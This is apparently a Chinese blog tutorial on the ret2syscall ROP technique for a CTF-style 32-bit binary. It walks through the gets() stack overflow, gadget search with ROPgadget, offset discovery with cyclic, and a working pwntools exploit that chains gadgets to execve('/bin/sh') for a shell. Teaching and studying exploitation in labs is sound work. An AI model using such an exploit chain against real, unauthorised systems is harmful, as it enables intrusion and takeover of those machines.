pwn基本ROP——ret2syscall

环境

ret2syscall

原理

系统调用

系统调用(英语:system call),指运行在用户空间的程序向操作系统内核请求需要更高权限运行的服务。
操作系统的进程空间可分为用户空间和内核空间,它们需要不同的执行权限。其中系统调用运行在内核空间。

应用程序调用系统调用的过程是:
1、把系统调用的编号存入 EAX;
1、把函数参数存入其它通用寄存器;
3、触发 0x80 号中断(int 0x80)。

利用方式

gadgets :以 ret 结尾的指令序列
利用程序中的gadgets控制寄存器的读写来进行系统调用,实现execve("/bin/sh",NULL,NULL)系统调用,获取最高权限。

漏洞分析

使用checksec指令查看程序保护措施

checksec rop

在这里插入图片描述
可见该程序为32位,仅开启了NX堆栈不可执行,故不可以直接向堆栈中注入shellcode获取权限。

使用IDA32位进行调试

反汇编后可看到main函数如下

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+1Ch] [ebp-64h] BYREF

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("This time, no system() and NO SHELLCODE!!!");
  puts("What do you plan to do?");
  gets(&v4);
  return 0;
}

可以看到主函数中存在gets危险函数,可以利用gets修改main函数的返回值返回到我们所需的gadgets,从而进行想要执行的系统调用,在这里我们可以进行execve("/bin/sh",NULL,NULL)系统调用

通过在IDA中shift + F12查看字符串,我们可以看到存在/bin/sh字符串,地址为0x080BE408
在这里插入图片描述
我们可以直接利用这个字符串作为execve的第一个参数进行调用。

由上述原理可知,这里我们需要eax寄存器来存储系统调用号,利用其它寄存器来存储参数,再通过0x80触发中断

此处我们系统调用函数为execve,对应的系统调用号为0xb,故应给eax赋值0xb
execve函数的三个参数则分别对应着ebxecxedx三个寄存器
ebx——0x080BE408/bin/sh字符串地址
ecx——0
edx——0

如何给这些寄存器赋值呢?

汇编语言中有一条指令是pop xxx,可将栈顶数据弹出并存入xxx中,这个xxx可以为寄存器
我们就可以使用gets函数修改栈中数据,然后触发pop指令将这些数据存入栈中
那么如何指定pop指令的操作对象呢?
这时我们需要利用一个小工具:ropgadgets,这个工具可以帮助我们获取需要的gadgets

比如这道题我们需要将0xb存入eax中,我们就可以输入以下指令

ROPgadget --binary rop  --only 'pop|ret' | grep 'eax'

这条指令可以帮助我们找到rop程序中eax寄存器的pop|ret指令的地址
在这里插入图片描述
可以看到,包含popeaxret指令的所有gadgets都被列出,这里我们只需要第二个即可

然后我们再找’ebx’的相关gadgets

ROPgadget --binary rop  --only 'pop|ret' | grep 'ebx'

在这里插入图片描述
发现这么多相关的gadgets均被列出,这里我们可以发现倒数第六行将ebxecxedx都用到了,我们就可以直接利用这一条gadgets来给这些寄存器赋值

接下来再利用gdb获取return偏移量

gdb rop
cyclic 200 
r
cyclic -l 0x62616164

在这里插入图片描述
随机产生200个字母
在这里插入图片描述
可以看到在0x62616164报错,说明这里就是return在栈中的位置,被这四个字母覆盖
在这里插入图片描述
通过cyclic -l命令查找刚刚随机产生的字符串中这四个连续字母的位置可以确定偏移量为112

payload

from pwn import *
 
io = process('./rop')

pop_eax_ret = p32(0x080bb196)
pop_edx_ecx_ebx_ret = p32(0x0806eb90)
int_0x80 = p32(0x08049421)

payload = bytes('a' * 112,'utf-8') + pop_eax_ret + p32(0xb)  + pop_edx_ecx_ebx_ret + p32(0) + p32(0) + p32(0x080BE408)  + int_0x80

io.sendline(payload)

io.interactive()

地址栈中内容
ebp~ebp-0x64a
main函数return地址pop_eax_ret地址
pop_eax_ret参数0xb
pop_eax_ret return地址pop_edx_ecx_ebx_ret地址
参数30
参数20
参数1/bin/sh字符串地址
pop_edx…_ret返回地址0x80截断

其中栈中参数都是pop的参数,用来弹到指定的寄存器中

  • 4
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值